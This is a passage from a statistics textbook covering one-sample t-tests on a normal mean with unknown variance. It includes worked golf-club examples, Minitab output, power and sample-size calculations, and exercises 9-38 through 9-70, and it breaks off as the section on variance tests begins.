(d) What would the P-value be if the alternative hypothesis is H_1: $\mu \neq 20$?

9-38. Output from a software package is given below:

One-Sample Z:

Test of mu = 14.5 vs > 14.5
The assumed standard deviation = 1.1

Variable	N	Mean	StDev	SE Mean	Z	P
x	16	15.016	1.015	?	?	?

(a) Fill in the missing items. What conclusions would you draw?
(b) Is this a one-sided or a two-sided test?
(c) Use the normal table and the above data to construct a 95% lower bound on the mean.
(d) What would the P-value be if the alternative hypothesis is H_1: $\mu \neq 14.5$?

9-39. Output from a software package is given below:

One-Sample Z:

Test of mu = 99 vs > 99
The assumed standard deviation = 2.5

Variable	N	Mean	StDev	SE Mean	Z	P
x	12	100.039	2.365	?	1.44	0.075

(a) Fill in the missing items. What conclusions would you draw?
(b) Is this a one-sided or a two-sided test?

(c) If the hypothesis had been H_0: $\mu = 98$ versus H_1: $\mu > 98$, would you reject the null hypothesis at the 0.05 level of significance? Can you answer this without referring to the normal table?
(d) Use the normal table and the above data to construct a 95% lower bound on the mean.
(e) What would the P-value be if the alternative hypothesis is H_1: $\mu \neq 99$?

9-40. The mean water temperature downstream from a power plant cooling tower discharge pipe should be no more than 100°F. Past experience has indicated that the standard deviation of temperature is 2°F. The water temperature is measured on nine randomly chosen days, and the average temperature is found to be 98°F.
(a) Is there evidence that the water temperature is acceptable at $\alpha = 0.05$?
(b) What is the P-value for this test?
(c) What is the probability of accepting the null hypothesis at $\alpha = 0.05$ if the water has a true mean temperature of 104°F?

9-41. A manufacturer produces crankshafts for an automobile engine. The wear of the crankshaft after 100,000 miles (0.0001 inch) is of interest because it is likely to have an impact on warranty claims. A random sample of $n = 15$ shafts is tested and $\bar{x} = 2.78$. It is known that $\sigma = 0.9$ and that wear is normally distributed.
(a) Test H_0: $\mu = 3$ versus H_1: $\mu \neq 3$ using $\alpha = 0.05$.
(b) What is the power of this test if $\mu = 3.25$?
(c) What sample size would be required to detect a true mean of 3.75 if we wanted the power to be at least 0.9?

9-42. A melting point test of $n = 10$ samples of a binder used in manufacturing a rocket propellant resulted in $\bar{x} = 154.2°$F. Assume that the melting point is normally distributed with $\sigma = 1.5°$F.
(a) Test H_0: $\mu = 155$ versus H_1: $\mu \neq 155$ using $\alpha = 0.01$.
(b) What is the P-value for this test?
(c) What is the β-error if the true mean is $\mu = 150$?
(d) What value of n would be required if we want $\beta < 0.1$ when $\mu = 150$? Assume that $\alpha = 0.01$.

9-43. The life in hours of a battery is known to be approximately normally distributed, with standard deviation $\sigma = 1.25$ hours. A random sample of 10 batteries has a mean life of $\bar{x} = 40.5$ hours.
(a) Is there evidence to support the claim that battery life exceeds 40 hours? Use $\alpha = 0.05$.
(b) What is the P-value for the test in part (a)?
(c) What is the β-error for the test in part (a) if the true mean life is 42 hours?
(d) What sample size would be required to ensure that β does not exceed 0.10 if the true mean life is 44 hours?
(e) Explain how you could answer the question in part (a) by calculating an appropriate confidence bound on life.

9-44. An engineer who is studying the tensile strength of a steel alloy intended for use in golf club shafts knows that tensile strength is approximately normally distributed with $\sigma = 60$ psi. A random sample of 12 specimens has a mean tensile strength of $\bar{x} = 3450$ psi.
(a) Test the hypothesis that mean strength is 3500 psi. Use $\alpha = 0.01$.
(b) What is the smallest level of significance at which you would be willing to reject the null hypothesis?
(c) What is the β-error for the test in part (a) if the true mean is 3470?
(d) Suppose that we wanted to reject the null hypothesis with probability at least 0.8 if mean strength $\mu = 3500$. What sample size should be used?
(e) Explain how you could answer the question in part (a) with a two-sided confidence interval on mean tensile strength.

9-45. Supercavitation is a propulsion technology for undersea vehicles that can greatly increase their speed. It occurs above approximately 50 meters per second, when pressure drops sufficiently to allow the water to dissociate into water vapor, forming a gas bubble behind the vehicle. When the gas bubble completely encloses the vehicle, supercavitation is said to occur. Eight tests were conducted on a scale model of an undersea vehicle in a towing basin with the average observed speed $\bar{x} = 102.2$ meters per second. Assume that speed is normally distributed with known standard deviation $\sigma = 4$ meters per second.
(a) Test the hypothesis H_0: $\mu = 100$ versus H_1: $\mu < 100$ using $\alpha = 0.05$.
(b) What is the P-value for the test in part (a)?
(c) Compute the power of the test if the true mean speed is as low as 95 meters per second.
(d) What sample size would be required to detect a true mean speed as low as 95 meters per second if we wanted the power of the test to be at least 0.85?
(e) Explain how the question in part (a) could be answered by constructing a one-sided confidence bound on the mean speed.

9-46. A bearing used in an automotive application is supposed to have a nominal inside diameter of 1.5 inches. A random sample of 25 bearings is selected and the average inside diameter of these bearings is 1.4975 inches. Bearing diameter is known to be normally distributed with standard deviation $\sigma = 0.01$ inch.
(a) Test the hypothesis H_0: $\mu = 1.5$ versus H_1: $\mu \neq 1.5$ using $\alpha = 0.01$.
(b) What is the P-value for the test in part (a)?
(c) Compute the power of the test if the true mean diameter is 1.495 inches.
(d) What sample size would be required to detect a true mean diameter as low as 1.495 inches if we wanted the power of the test to be at least 0.9?
(e) Explain how the question in part (a) could be answered by constructing a two-sided confidence interval on the mean diameter.

9-47. Medical researchers have developed a new artificial heart constructed primarily of titanium and plastic. The heart

will last and operate almost indefinitely once it is implanted in the patient's body, but the battery pack needs to be recharged about every four hours. A random sample of 50 battery packs is selected and subjected to a life test. The average life of these batteries is 4.05 hours. Assume that battery life is normally distributed with standard deviation $\sigma = 0.2$ hour.

(a) Is there evidence to support the claim that mean battery life exceeds 4 hours? Use $\alpha = 0.05$.

(b) What is the P-value for the test in part (a)?

(c) Compute the power of the test if the true mean battery life is 4.5 hours.

(d) What sample size would be required to detect a true mean battery life of 4.5 hours if we wanted the power of the test to be at least 0.9?

(e) Explain how the question in part (a) could be answered by constructing a one-sided confidence bound on the mean life.

9-3 TESTS ON THE MEAN OF A NORMAL DISTRIBUTION, VARIANCE UNKNOWN

9-3.1 Hypothesis Tests on the Mean

We now consider the case of **hypothesis testing** on the mean of a population with **unknown variance** σ^2. The situation is analogous to Section 8-2, where we considered a **confidence interval** on the mean for the same situation. As in that section, the validity of the test procedure we will describe rests on the assumption that the population distribution is at least approximately normal. The important result upon which the test procedure relies is that if $X_1, X_2, \ldots, X_n$ is a random sample from a normal distribution with mean μ and variance σ^2, the random variable

$$T = \frac{\overline{X} - \mu}{S/\sqrt{n}}$$

has a t distribution with $n - 1$ degrees of freedom. Recall that we used this result in Section 8-2 to devise the t-confidence interval for μ. Now consider testing the hypotheses

$$H_0: \mu = \mu_0$$
$$H_1: \mu \neq \mu_0$$

We will use the **test statistic:**

Test Statistic

$$T_0 = \frac{\overline{X} - \mu_0}{S/\sqrt{n}} \tag{9-26}$$

If the null hypothesis is true, T_0 has a t distribution with $n - 1$ degrees of freedom. When we know the distribution of the test statistic when H_0 is true (this is often called the **reference distribution** or the **null distribution**), we can calculate the P-value from this distribution, or, if we use a fixed significance level approach, we can locate the critical region to control the type I error probability at the desired level.

To test H_0: $\mu = \mu_0$ against the two-sided alternative $H_1: \mu \neq \mu_0$, the value of the test statistic t_0 in Equation 9-26 is calculated, and the P-value is found from the t distribution with $n - 1$ degrees of freedom. Because the test is two-tailed, the P-value is the sum of the probabilities in

Figure 9-10 Calculating the P-value for a t-test: (a) H_1: $\mu \neq \mu_0$: (b) H_1: $\mu > \mu_0$; (c) H_1: $\mu < \mu_0$.

the two tails of the t distribution. Refer to Fig. 9-10(a). The P-value is the probability above $|t_0|$ plus the probability below $-|t_0|$. Because the t distribution is symmetric around zero, a simple way to write this is

$$P = 2P(T_{n-1} > |t_0|) \tag{9-27}$$

A small P-value is evidence against H_0, so if P is of sufficiently small value (*typically* < 0.05), reject the null hypothesis.

For the one-sided alternative hypotheses

$$\begin{aligned} H_0&: \mu = \mu_0 \\ H_1&: \mu > \mu_0 \end{aligned} \tag{9-28}$$

we calculate the test statistic t_0 from Equation 9-26 and calculate the P-value as

$$P = P(T_{n-1} > t_0) \tag{9-29}$$

For the other one-sided alternative

$$\begin{aligned} H_0&: \mu = \mu_0 \\ H_1&: \mu < \mu_0 \end{aligned} \tag{9-30}$$

we calculate the P-value as

$$P = P(T_{n-1} < t_0) \tag{9-31}$$

Figure 9-10(b) and (c) show how these P-values are calculated.

Statistics software packages calculate and display P-values. However, in working problems by hand, it is useful to be able to find the P-value for a t-test. Because the t-table in Appendix A Table II contains only 10 critical values for each t distribution, determining the exact P-value from this table is usually impossible. Fortunately, it's easy to find lower and upper bounds on the P-value by using this table.

To illustrate, suppose that we are conducting an upper-tailed t-test (so H_1: $\mu > \mu_0$) with 14 degrees of freedom. The relevant critical values from Appendix A Table II are as follows:

Critical Value:	0.258	0.692	1.345	1.761	2.145	2.624	2.977	3.326	3.787	4.140
Tail Area:	0.40	0.25	0.10	0.05	0.025	0.01	0.005	0.0025	0.001	0.0005

After calculating the test statistic, we find that $t_0 = 2.8$. Now, $t_0 = 2.8$ is between two tabulated values, 2.624 and 2.977. Therefore, the P-value must be between 0.01 and 0.005. Refer to Fig. 9-11. These are effectively the upper and lower bounds on the P-value.

This illustrates the procedure for an upper-tailed test. If the test is lower-tailed, just change the sign on the lower and upper bounds for t_0 and proceed as above. Remember that for a

Figure 9-11 *P*-value for $t_0 = 2.8$; an upper-tailed test is shown to be between 0.005 and 0.01.

two-tailed test, the level of significance associated with a particular critical value is twice the corresponding tail area in the column heading. This consideration must be taken into account when we compute the bound on the *P*-value. For example, suppose that $t_0 = 2.8$ for a two-tailed alternative based on 14 degrees of freedom. The value of the test statistic $t_0 > 2.624$ (corresponding to $\alpha = 2 \times 0.01 = 0.02$) and $t_0 < 2.977$ (corresponding to $\alpha = 2 \times 0.005 = 0.01$), so the lower and upper bounds on the *P*-value would be $0.01 < P < 0.02$ for this case.

Some statistics software packages can help you calculate *P*-values. For example, Minitab has the capability to find cumulative probabilities from many standard probability distributions, including the *t* distribution. Simply enter the value of the test statistic t_0 along with the appropriate number of degrees of freedom. Minitab will display the probability $P(T_\nu \le t_0)$ where ν is the degrees of freedom for the test statistic t_0. From the cumulative probability, the *P*-value can be determined.

The single-sample *t*-test we have just described can also be conducted using the **fixed significance level** approach. Consider the two-sided alternative hypothesis. The null hypothesis would be rejected if the value of the test statistic t_0 falls in the critical region defined by the lower and upper $\alpha/2$ percentage points of the t distribution with $n - 1$ degrees of freedom. That is, reject H_0 if

$$t_0 > t_{\alpha/2,n-1} \quad \text{or} \quad t_0 < -t_{\alpha/2,n-1}$$

For the one-tailed tests, the location of the critical region is determined by the direction that the inequality in the alternative hypothesis "points." So if the alternative is H_1: $\mu > \mu_0$, reject H_0 if

$$t_0 > t_{\alpha,n-1}$$

and if the alternative is H_1: $\mu < \mu_0$, reject H_0 if

$$t_0 < -t_{\alpha,n-1}$$

Figure 9-12 shows the locations of these critical regions.

Figure 9-12 The distribution of T_0 when H_0: $\mu = \mu_0$ is true, with critical region for (a) H_1: $\mu \neq \mu_0$, (b) H_1: $\mu > \mu_0$, and (c) H_1: $\mu < \mu_0$.

Summary for the One-Sample *t*-Test

Testing Hypotheses on the Mean of a Normal Distribution, Variance Unknown

Null hypothesis: $H_0: \mu = \mu_0$

Test statistic: $T_0 = \dfrac{\overline{X} - \mu_0}{S/\sqrt{n}}$

Alternative Hypotheses	*P*-Value	Rejection Criterion for Fixed-Level Tests
$H_1: \mu \neq \mu_0$	Probability above $\lvert t_0 \rvert$ and probability below $-\lvert t_0 \rvert$	$t_0 > t_{\alpha/2,n-1}$ or $t_0 < -t_{\alpha/2,n-1}$
$H_1: \mu > \mu_0$	Probability above t_0	$t_0 > t_{\alpha,n-1}$
$H_1: \mu < \mu_0$	Probability below t_0	$t_0 < -t_{\alpha,n-1}$

The calculations of the *P*-values and the locations of the critical regions for these situations are shown in Figs. 9-10 and 9-12, respectively.

EXAMPLE 9-6 Golf Club Design

The increased availability of light materials with high strength has revolutionized the design and manufacture of golf clubs, particularly drivers. Clubs with hollow heads and very thin faces can result in much longer tee shots, especially for players of modest skills. This is due partly to the "spring-like effect" that the thin face imparts to the ball. Firing a golf ball at the head of the club and measuring the ratio of the outgoing velocity of the ball to the incoming velocity can quantify this spring-like effect. The ratio of velocities is called the coefficient of restitution of the club. An experiment was performed in which 15 drivers produced by a particular club maker were selected at random and their coefficients of restitution measured. In the experiment the golf balls were fired from an air cannon so that the incoming velocity and spin rate of the ball could be precisely controlled. It is of interest to determine if there is evidence (with $\alpha = 0.05$) to support a claim that the mean coefficient of restitution exceeds 0.82. The observations follow:

0.8411	0.8191	0.8182	0.8125	0.8750
0.8580	0.8532	0.8483	0.8276	0.7983
0.8042	0.8730	0.8282	0.8359	0.8660

The sample mean and sample standard deviation are $\bar{x} = 0.83725$ and $s = 0.02456$. The normal probability plot of the data in Fig. 9-13 supports the assumption that the coefficient of restitution is normally distributed. Since the objective of the experimenter is to demonstrate that the mean coefficient of restitution exceeds 0.82, a one-sided alternative hypothesis is appropriate.

The solution using the seven-step procedure for hypothesis testing is as follows:

1. **Parameter of interest:** The parameter of interest is the mean coefficient of restitution, μ.
2. **Null hypothesis:** H_0: $\mu = 0.82$
3. **Alternative hypothesis:** .H_1: $\mu > 0.82$ We want to reject H_0 if the mean coefficient of restitution exceeds 0.82.
4. **Test Statistic:** The test statistic is
$$t_0 = \frac{\bar{x} - \mu_0}{s/\sqrt{n}}$$
5. **Reject H_0 if :** Reject H_0 if the *P*-value is less than 0.05.
6. **Computations:** Since $\bar{x} = 0.83725$, $s = 0.02456$, $\mu_0 = 0.82$, and $n = 15$, we have
$$t_0 = \frac{0.83725 - 0.82}{0.02456/\sqrt{15}} = 2.72$$
7. **Conclusions:** From Appendix A Table II we find, for a *t* distribution with 14 degrees of freedom, that $t_0 = 2.72$ falls between two values: 2.624, for which $\alpha = 0.01$, and 2.977, for which $\alpha = 0.005$. Because this is a one-tailed test, we know that the *P*-value is between those two values, that is, $0.005 < P < 0.01$. Therefore, since $P < 0.05$, we reject H_0 and conclude that the mean coefficient of restitution exceeds 0.82. To use Minitab to compute the *P*-value, use the Calc

Figure 9-13. Normal probability plot of the coefficient of restitution data from Example 9-6.

menu and select the probability distribution option. Then, for the t distribution, enter 14 degrees of freedom and the value of the test statistic $t_0 = 2.72$ as the input constant. Minitab returns the probability $P(T_{14} \leq 2.72) = 0.991703$. The P-value is $P(T_{14}\ \ 2.72)$ or $P = 1 - P(T_{14} \leq 2.72) = 1 - 0.991703 = 0.008297$.

Practical Interpretation: There is strong evidence to conclude that the mean coefficient of restitution exceeds 0.82.

Minitab will conduct the one-sample t-test. The output from this software package is in the following display:

Minitab Computations

One-Sample T: COR

Test of mu = 0.82 vs mu > 0.82

Variable	N	Mean	StDev	SE Mean
COR	15	0.83725	0.02456	0.00634

Variable	95.0% Lower Bound	T	P
COR	0.82608	2.72	0.008

Notice that Minitab computes both the test statistic T_0 and a 95% lower confidence bound for the coefficient of restitution. The reported P-value is 0.008. Because the 95% lower confidence bound exceeds 0.82, we would reject the hypothesis that H_0: $\mu = 0.82$ and conclude that the alternative hypothesis H_1: $\mu > 0.82$ is true.

9-3.2 Type II Error and Choice of Sample Size

The type II error probability for the t-test depends on the distribution of the test statistic in Equation 9-26 when the null hypothesis H_0: $\mu = \mu_0$ is false. When the true value of the mean is $\mu = \mu_0 + \delta$, the distribution for T_0 is called the **noncentral t distribution** with $n - 1$

degrees of freedom and noncentrality parameter $\delta\sqrt{n}/\sigma$. Note that if $\delta = 0$, the noncentral t distribution reduces to the usual **central *t* distribution.** Therefore, the type II error of the two-sided alternative (for example) would be

$$\begin{aligned}\beta &= P\{-t_{\alpha/2,n-1} \le T_0 \le t_{\alpha/2,n-1} \mid \delta \ne 0\}\\ &= P\{-t_{\alpha/2,n-1} \le T_0' \le t_{\alpha/2,n-1}\}\end{aligned}$$

where T_0' denotes the noncentral t random variable. Finding the type II error probability β for the t-test involves finding the probability contained between two points of the noncentral t distribution. Because the noncentral t-random variable has a messy density function, this integration must be done numerically.

Fortunately, this ugly task has already been done, and the results are summarized in a series of O.C. curves in Appendix Charts VII*e*, VII*f*, VII*g*, and VII*h* that plot β for the t-test against a parameter d for various sample sizes n. Curves are provided for two-sided alternatives on Charts VII*e* and VII*f*. The abscissa scale factor d on these charts is defined as

$$d = \frac{|\mu - \mu_0|}{\sigma} = \frac{|\delta|}{\sigma} \tag{9-32}$$

For the one-sided alternative $\mu > \mu_0$ or $\mu < \mu_0$, we use charts VIG and VIH with

$$d = \frac{|\mu - \mu_0|}{\sigma} = \frac{|\delta|}{\sigma} \tag{9-33}$$

We note that d depends on the unknown parameter σ^2. We can avoid this difficulty in several ways. In some cases, we may use the results of a previous experiment or prior information to make a rough initial estimate of σ^2. If we are interested in evaluating test performance after the data have been collected, we could use the sample variance s^2 to estimate σ^2. If there is no previous experience on which to draw in estimating σ^2, we then define the difference in the mean d that we wish to detect relative to σ. For example, if we wish to detect a small difference in the mean, we might use a value of $d = |\delta|/\sigma \le 1$ (for example), whereas if we are interested in detecting only moderately large differences in the mean, we might select $d = |\delta|/\sigma = 2$ (for example). That is, it is the value of the ratio $|\delta|/\sigma$ that is important in determining sample size, and if it is possible to specify the relative size of the difference in means that we are interested in detecting, then a proper value of d can usually be selected.

EXAMPLE 9-7 **Golf Club Design Sample Size**

Consider the golf club testing problem from Example 9-6. If the mean coefficient of restitution exceeds 0.82 by as much as 0.02, is the sample size $n = 15$ adequate to ensure that H_0: $\mu = 0.82$ will be rejected with probability at least 0.8?

To solve this problem, we will use the sample standard deviation $s = 0.02456$ to estimate σ. Then $d = |\delta|/\sigma = 0.02/0.02456 = 0.81$. By referring to the operating characteristic curves in Appendix Chart VII*g* (for $\alpha = 0.05$) with $d = 0.81$ and $n = 15$, we find that $\beta = 0.10$, approximately. Thus, the probability of rejecting H_0: $\mu = 0.82$ if the true mean exceeds this by 0.02 is approximately $1 - \beta = 1 - 0.10 = 0.90$, and we conclude that a sample size of $n = 15$ is adequate to provide the desired sensitivity.

Minitab will also perform power and sample size computations for the one-sample t-test. Below are several calculations based on the golf club testing problem:

Minitab Computations

Power and Sample Size

1-Sample *t* Test
Testing mean = null (versus > null)
Calculating power for mean = null + difference
Alpha = 0.05 Sigma = 0.02456

Difference	Sample Size	Power
0.02	15	0.9117

Power and Sample Size

1-Sample *t* Test
Testing mean = null (versus > null)
Calculating power for mean = null + difference
Alpha = 0.05 Sigma = 0.02456

Difference	Sample Size	Power
0.01	15	0.4425

Power and Sample Size

1-Sample *t* Test
Testing mean = null (versus > null)
Calculating power for mean = null + difference
Alpha = 0.05 Sigma = 0.02456

Difference	Sample Size	Target Power	Actual Power
0.01	39	0.8000	0.8029

In the first portion of the computer output, Minitab reproduces the solution to Example 9-7, verifying that a sample size of $n = 15$ is adequate to give power of at least 0.8 if the mean coefficient of restitution exceeds 0.82 by at least 0.02. In the middle section of the output, we used Minitab to compute the power to detect a difference between μ and $\mu_0 = 0.82$ of 0.01. Notice that with $n = 15$, the power drops considerably to 0.4425. The final portion of the output is the sample size required for a power of at least 0.8 if the difference between μ and μ_0 of interest is actually 0.01. A much larger n is required to detect this smaller difference.

EXERCISES FOR SECTION 9-3

9-48. A hypothesis will be used to test that a population mean equals 7 against the alternative that the population mean does not equal 7 with unknown variance σ. What are the critical values for the test statistic T_0 for the following significance levels and sample sizes?
(a) $\alpha = 0.01$ and $n = 20$
(b) $\alpha = 0.05$ and $n = 12$
(c) $\alpha = 0.10$ and $n = 15$

9-49. A hypothesis will be used to test that a population mean equals 10 against the alternative that the population mean is greater than 10 with known variance σ. What is the critical value for the test statistic Z_0 for the following significance levels?
(a) $\alpha = 0.01$ and $n = 20$
(b) $\alpha = 0.05$ and $n = 12$
(c) $\alpha = 0.10$ and $n = 15$

9-50. A hypothesis will be used to test that a population mean equals 5 against the alternative that the population mean is less than 5 with known variance σ. What is the critical value for the test statistic Z_0 for the following significance levels?
(a) $\alpha = 0.01$ and $n = 20$
(b) $\alpha = 0.05$ and $n = 12$
(c) $\alpha = 0.10$ and $n = 15$

9-51. For the hypothesis test H_0: $\mu = 7$ against H_1: $\mu \neq 7$ with variance unknown and $n = 20$, approximate the P-value for each of the following test statistics.
(a) $t_0 = 2.05$ (b) $t_0 = -1.84$ (c) $t_0 = 0.4$

9-52. For the hypothesis test H_0: $\mu = 10$ against H_1: $\mu > 10$ with variance unknown and $n = 15$, approximate the P-value for each of the following test statistics.
(a) $t_0 = 2.05$ (b) $t_0 = -1.84$ (c) $t_0 = 0.4$

9-53. For the hypothesis test H_0: $\mu = 5$ against H_1: $\mu < 5$ with variance unknown and $n = 12$, approximate the P-value for each of the following test statistics.
(a) $t_0 = 2.05$ (b) $t_0 = -1.84$ (c) $t_0 = 0.4$

9-54. Consider the computer output below.

One-Sample T:

Test of mu = 91 vs > 91

Variable	N	Mean	StDev	SE Mean	95% Lower Bound	T	P
x	20	92.379	0.717	?	?	?	?

(a) Fill in the missing values. You may calculate bounds on the P-value. What conclusions would you draw?
(b) Is this a one-sided or a two-sided test?
(c) If the hypothesis had been H_0: $\mu = 90$ versus H_1: $\mu > 90$, would your conclusions change?

9-55. Consider the computer output below.

One-Sample T:

Test of mu = 12 vs not = 12

Variable	N	Mean	StDev	SE Mean	T	P
x	10	12.564	?	0.296	?	?

(a) How many degrees of freedom are there on the t-test statistic?
(b) Fill in the missing values. You may calculate bounds on the P-value. What conclusions would you draw?
(c) Is this a one-sided or a two-sided test?
(d) Construct a 95% two-sided CI on the mean.
(e) If the hypothesis had been H_0: $\mu = 12$ versus H_1: $\mu > 12$, would your conclusions change?
(f) If the hypothesis had been H_0: $\mu = 11.5$, versus H_1: $\mu \neq 11.5$, would your conclusions change? Answer this question by using the CI computed in part (d).

9-56. Consider the computer output below.

One-Sample T:

Test of mu = 34 vs not = 34

Variable	N	Mean	StDev	SE Mean	95% CI	T	P
x	16	35.274	1.783	?	(34.324, 36.224)	?	0.012

(a) How many degrees of freedom are there on the t-test statistic?
(b) Fill in the missing quantities.
(c) At what level of significance can the null hypothesis be rejected?
(d) If the hypothesis had been H_0: $\mu = 34$ versus H_1: $\mu > 34$, would the P-value have been larger or smaller?
(e) If the hypothesis had been H_0: $\mu = 34.5$ versus H_1: $\mu \neq 34.5$, would you have rejected the null hypothesis at the 0.05 level?

9-57. An article in *Growth: A Journal Devoted to Problems of Normal and Abnormal Growth* ["Comparison of Measured and Estimated Fat-Free Weight, Fat, Potassium and Nitrogen of Growing Guinea Pigs" (Vol. 46, No. 4, 1982, pp. 306–321)] reported the results of a study that measured the body weight (in grams) for guinea pigs at birth.

421.0	452.6	456.1	494.6	373.8
90.5	110.7	96.4	81.7	102.4
241.0	296.0	317.0	290.9	256.5
447.8	687.6	705.7	879.0	88.8
296.0	273.0	268.0	227.5	279.3
258.5	296.0			

(a) Test the hypothesis that mean body weight is 300 grams. Use $\alpha = 0.05$.
(b) What is the smallest level of significance at which you would be willing to reject the null hypothesis?
(c) Explain how you could answer the question in part (a) with a two-sided confidence interval on mean body weight.

9-58. An article in the *ASCE Journal of Energy Engineering* (1999, Vol. 125, pp. 59–75) describes a study of the thermal inertia properties of autoclaved aerated concrete used as a building material. Five samples of the material were tested in a structure, and the average interior temperatures (°C) reported were as follows: 23.01, 22.22, 22.04, 22.62, and 22.59.
(a) Test the hypotheses H_0: $\mu = 22.5$ versus H_1: $\mu \neq 22.5$, using $\alpha = 0.05$. Find the P-value.
(b) Check the assumption that interior temperature is normally distributed.
(c) Compute the power of the test if the true mean interior temperature is as high as 22.75.
(d) What sample size would be required to detect a true mean interior temperature as high as 22.75 if we wanted the power of the test to be at least 0.9?

(e) Explain how the question in part (a) could be answered by constructing a two-sided confidence interval on the mean interior temperature.

9-59. A 1992 article in the *Journal of the American Medical Association* ("A Critical Appraisal of 98.6 Degrees F, the Upper Limit of the Normal Body Temperature, and Other Legacies of Carl Reinhold August Wunderlich") reported body temperature, gender, and heart rate for a number of subjects. The body temperatures for 25 female subjects follow: 97.8, 97.2, 97.4, 97.6, 97.8, 97.9, 98.0, 98.0, 98.0, 98.1, 98.2, 98.3, 98.3, 98.4, 98.4, 98.4, 98.5, 98.6, 98.6, 98.7, 98.8, 98.8, 98.9, 98.9, and 99.0.

(a) Test the hypothesis H_0: $\mu = 98.6$ versus H_1: $\mu \neq 98.6$, using $\alpha = 0.05$. Find the P-value.
(b) Check the assumption that female body temperature is normally distributed.
(c) Compute the power of the test if the true mean female body temperature is as low as 98.0.
(d) What sample size would be required to detect a true mean female body temperature as low as 98.2 if we wanted the power of the test to be at least 0.9?
(e) Explain how the question in part (a) could be answered by constructing a two-sided confidence interval on the mean female body temperature.

9-60. Cloud seeding has been studied for many decades as a weather modification procedure (for an interesting study of this subject, see the article in *Technometrics*, "A Bayesian Analysis of a Multiplicative Treatment Effect in Weather Modification," Vol. 17, pp. 161–166). The rainfall in acre-feet from 20 clouds that were selected at random and seeded with silver nitrate follows: 18.0, 30.7, 19.8, 27.1, 22.3, 18.8, 31.8, 23.4, 21.2, 27.9, 31.9, 27.1, 25.0, 24.7, 26.9, 21.8, 29.2, 34.8, 26.7, and 31.6.

(a) Can you support a claim that mean rainfall from seeded clouds exceeds 25 acre-feet? Use $\alpha = 0.01$. Find the P-value.
(b) Check that rainfall is normally distributed.
(c) Compute the power of the test if the true mean rainfall is 27 acre-feet.
(d) What sample size would be required to detect a true mean rainfall of 27.5 acre-feet if we wanted the power of the test to be at least 0.9?
(e) Explain how the question in part (a) could be answered by constructing a one-sided confidence bound on the mean diameter.

9-61. The sodium content of twenty 300-gram boxes of organic cornflakes was determined. The data (in milligrams) are as follows: 131.15, 130.69, 130.91, 129.54, 129.64, 128.77, 130.72, 128.33, 128.24, 129.65, 130.14, 129.29, 128.71, 129.00, 129.39, 130.42, 129.53, 130.12, 129.78, 130.92.

(a) Can you support a claim that mean sodium content of this brand of cornflakes differs from 130 milligrams? Use $\alpha = 0.05$. Find the P-value.
(b) Check that sodium content is normally distributed.
(c) Compute the power of the test if the true mean sodium content is 130.5 milligrams.
(d) What sample size would be required to detect a true mean sodium content of 130.1 milligrams if we wanted the power of the test to be at least 0.75?
(e) Explain how the question in part (a) could be answered by constructing a two-sided confidence interval on the mean sodium content.

9-62. Consider the baseball coefficient of restitution data first presented in Exercise 8-92.

(a) Do the data support the claim that the mean coefficient of restitution of baseballs exceeds 0.635? Use $\alpha = 0.05$. Find the P-value.
(b) Check the normality assumption.
(c) Compute the power of the test if the true mean coefficient of restitution is as high as 0.64.
(d) What sample size would be required to detect a true mean coefficient of restitution as high as 0.64 if we wanted the power of the test to be at least 0.75?
(e) Explain how the question in part (a) could be answered with a confidence interval.

9-63. Consider the dissolved oxygen concentration at TVA dams first presented in Exercise 8-94.

(a) Test the hypothesis H_0: $\mu = 4$ versus H_1: $\mu \neq 4$. Use $\alpha = 0.01$. Find the P-value.
(b) Check the normality assumption.
(c) Compute the power of the test if the true mean dissolved oxygen concentration is as low as 3.
(d) What sample size would be required to detect a true mean dissolved oxygen concentration as low as 2.5 if we wanted the power of the test to be at least 0.9?
(e) Explain how the question in part (a) could be answered with a confidence interval.

9-64. Reconsider the data from *Medicine and Science in Sports and Exercise* described in Exercise 8-30. The sample size was seven and the sample mean and sample standard deviation were 315 watts and 16 watts, respectively.

(a) Is there evidence that leg strength exceeds 300 watts at significance level 0.05? Find the P-value.
(b) Compute the power of the test if the true strength is 305 watts.
(c) What sample size would be required to detect a true mean of 305 watts if the power of the test should be at least 0.90?
(d) Explain how the question in part (a) could be answered with a confidence interval.

9-65. Reconsider the tire testing experiment described in Exercise 8-27.

(a) The engineer would like to demonstrate that the mean life of this new tire is in excess of 60,000 kilometers. Formulate and test appropriate hypotheses, and draw conclusions using $\alpha = 0.05$.
(b) Suppose that if the mean life is as long as 61,000 kilometers, the engineer would like to detect this difference with probability at least 0.90. Was the sample size $n = 16$ used in part (a) adequate?

9-66. Reconsider the Izod impact test on PVC pipe described in Exercise 8-28. Suppose that you want to use the data from this experiment to support a claim that the mean impact strength exceeds the ASTM standard (one foot-pound per inch). Formulate and test the appropriate hypotheses using $\alpha = 0.05$.

9-67. Reconsider the television tube brightness experiment in Exercise 8-35. Suppose that the design engineer claims that this tube will require at least 300 microamps of current to produce the desired brightness level. Formulate and test an appropriate hypothesis to confirm this claim using $\alpha = 0.05$. Find the P-value for this test. State any necessary assumptions about the underlying distribution of the data.

9-68. Exercise 6-30 gave data on the heights of female engineering students at ASU.

(a) Can you support a claim that the mean height of female engineering students at ASU is at least 65 inches? Use $\alpha = 0.05$. Find the P-value.
(b) Check the normality assumption.
(c) Compute the power of the test if the true mean height is 62 inches.
(d) What sample size would be required to detect a true mean height of 64 inches if we wanted the power of the test to be at least 0.8?

9-69. Exercise 6-33 describes testing golf balls for an overall distance standard.

(a) Can you support a claim that mean distance achieved by this particular golf ball exceeds 280 yards? Use $\alpha = 0.05$. Find the P-value.
(b) Check the normality assumption.
(c) Compute the power of the test if the true mean distance is 290 yards.
(d) What sample size would be required to detect a true mean distance of 290 yards if we wanted the power of the test to be at least 0.8?

9-70. Exercise 6-32 presented data on the concentration of suspended solids in lake water.

(a) Test the hypothesis H_0: $\mu = 55$ versus H_1: $\mu \neq 55$; use $\alpha = 0.05$. Find the P-value.
(b) Check the normality assumption.
(c) Compute the power of the test if the true mean concentration is as low as 50.
(d) What sample size would be required to detect a true mean concentration as low as 50 if we wanted the power of the test to be at least 0.9?

9-4 TESTS ON THE VARIANCE AND STANDARD DEVIATION OF A NORMAL DISTRIBUTION

Sometimes hypothesis tests on the population variance or standard deviation are needed. When the population is modeled by a normal distribution, the tests and intervals described in this section are applicable.

9-4.1 Hypothesis Tests on the Variance

Suppose that we wish to test the hypothesis that the variance of a normal population σ^2 equals a specified value, say σ_0^2, or equivalently, that the standard deviation σ is equal to σ_0. Let $X_1, X_2, \ldots, X_n$ be a random sample of n observations from this population. To test

